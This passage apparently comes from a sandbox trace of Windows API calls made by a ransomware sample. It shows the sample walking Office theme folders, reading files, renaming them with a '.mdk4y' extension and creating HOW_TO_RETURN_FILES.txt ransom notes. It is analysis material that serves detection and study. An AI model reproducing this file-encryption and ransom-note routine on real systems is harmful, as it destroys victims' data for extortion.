(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.358] GetFileType (hFile=0x130) returned 0x1 [0119.359] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.359] AreFileApisANSI () returned 1 [0119.359] GetACP () returned 0x4e4 [0119.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NETWORK", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NETWORK", lpUsedDefaultChar=0x37df4c) returned 7 [0119.359] AreFileApisANSI () returned 1 [0119.359] GetACP () returned 0x4e4 [0119.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=64, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\7\r") returned 64 [0119.360] AreFileApisANSI () returned 1 [0119.360] GetACP () returned 0x4e4 [0119.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.360] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.360] AreFileApisANSI () returned 1 [0119.360] GetACP () returned 0x4e4 [0119.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.360] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.360] AreFileApisANSI () returned 1 [0119.360] GetACP () returned 0x4e4 [0119.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NETWORK.ELM", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NETWORK.ELMefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.360] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819459000000) returned 1 [0119.360] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc649, lpOverlapped=0x0) returned 1 [0119.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819460600000) returned 1 [0119.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819460600000) returned 1 [0119.377] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.mdk4y")) returned 1 [0119.377] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.377] AreFileApisANSI () returned 1 [0119.377] GetACP () returned 0x4e4 [0119.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NETWORK.INF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NETWORK.INF", lpUsedDefaultChar=0x37dec0) returned 11 [0119.377] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819460800000) returned 1 [0119.378] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x249, lpOverlapped=0x0) returned 1 [0119.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819460900000) returned 1 [0119.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819461000000) returned 1 [0119.380] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.mdk4y")) returned 1 [0119.380] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.380] AreFileApisANSI () returned 1 [0119.380] GetACP () returned 0x4e4 [0119.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0119.380] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819461000000) returned 1 [0119.380] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x554, lpOverlapped=0x0) returned 1 [0119.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819461200000) returned 1 [0119.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819461200000) returned 1 [0119.382] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.mdk4y")) returned 1 [0119.384] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.384] AreFileApisANSI () returned 1 [0119.384] GetACP () returned 0x4e4 [0119.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0119.384] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819461400000) returned 1 [0119.384] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2d35, lpOverlapped=0x0) returned 1 [0119.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819462800000) returned 1 [0119.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819462800000) returned 1 [0119.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.mdk4y")) returned 1 [0119.399] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.399] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0119.399] AreFileApisANSI () returned 1 [0119.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0119.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.399] GetFileType (hFile=0x130) returned 0x1 [0119.400] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.400] AreFileApisANSI () returned 1 [0119.400] GetACP () returned 0x4e4 [0119.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PAPYRUS", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PAPYRUS", lpUsedDefaultChar=0x37df4c) returned 7 [0119.400] AreFileApisANSI () returned 1 [0119.400] GetACP () returned 0x4e4 [0119.400] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=64, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\7\r") returned 64 [0119.418] AreFileApisANSI () returned 1 [0119.418] GetACP () returned 0x4e4 [0119.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.418] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.419] AreFileApisANSI () returned 1 [0119.419] GetACP () returned 0x4e4 [0119.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.419] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.419] AreFileApisANSI () returned 1 [0119.419] GetACP () returned 0x4e4 [0119.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PAPYRUS.ELM", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PAPYRUS.ELMefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.419] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819464900000) returned 1 [0119.419] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x166d5, lpOverlapped=0x0) returned 1 [0119.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819468300000) returned 1 [0119.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819468300000) returned 1 [0119.454] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.mdk4y")) returned 1 [0119.455] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.455] AreFileApisANSI () returned 1 [0119.455] GetACP () returned 0x4e4 [0119.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PAPYRUS.INF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PAPYRUS.INF", lpUsedDefaultChar=0x37dec0) returned 11 [0119.455] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819468600000) returned 1 [0119.456] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f4, lpOverlapped=0x0) returned 1 [0119.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819468700000) returned 1 [0119.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819468700000) returned 1 [0119.457] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.mdk4y")) returned 1 [0119.457] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.457] AreFileApisANSI () returned 1 [0119.457] GetACP () returned 0x4e4 [0119.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0119.457] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819468800000) returned 1 [0119.458] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa0e, lpOverlapped=0x0) returned 1 [0119.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819468900000) returned 1 [0119.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819468900000) returned 1 [0119.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.mdk4y")) returned 1 [0119.461] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.461] AreFileApisANSI () returned 1 [0119.461] GetACP () returned 0x4e4 [0119.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0119.461] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819469100000) returned 1 [0119.461] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9240, lpOverlapped=0x0) returned 1 [0119.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819470500000) returned 1 [0119.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819470500000) returned 1 [0119.476] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.mdk4y")) returned 1 [0119.476] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.476] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0119.476] AreFileApisANSI () returned 1 [0119.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0119.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.477] GetFileType (hFile=0x130) returned 0x1 [0119.477] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.477] AreFileApisANSI () returned 1 [0119.477] GetACP () returned 0x4e4 [0119.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PIXEL", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PIXELUS", lpUsedDefaultChar=0x37df4c) returned 5 [0119.477] AreFileApisANSI () returned 1 [0119.477] GetACP () returned 0x4e4 [0119.478] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=62, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\6(Ƈ") returned 62 [0119.478] AreFileApisANSI () returned 1 [0119.478] GetACP () returned 0x4e4 [0119.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.478] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.478] AreFileApisANSI () returned 1 [0119.478] GetACP () returned 0x4e4 [0119.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.478] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.478] AreFileApisANSI () returned 1 [0119.479] GetACP () returned 0x4e4 [0119.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PIXEL.ELM", cchWideChar=9, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PIXEL.ELMotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 9 [0119.479] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819470900000) returned 1 [0119.479] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd0e5, lpOverlapped=0x0) returned 1 [0119.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819472700000) returned 1 [0119.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819472700000) returned 1 [0119.498] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.mdk4y")) returned 1 [0119.562] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.562] AreFileApisANSI () returned 1 [0119.562] GetACP () returned 0x4e4 [0119.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PIXEL.INF", cchWideChar=9, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PIXEL.INF", lpUsedDefaultChar=0x37dec0) returned 9 [0119.562] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 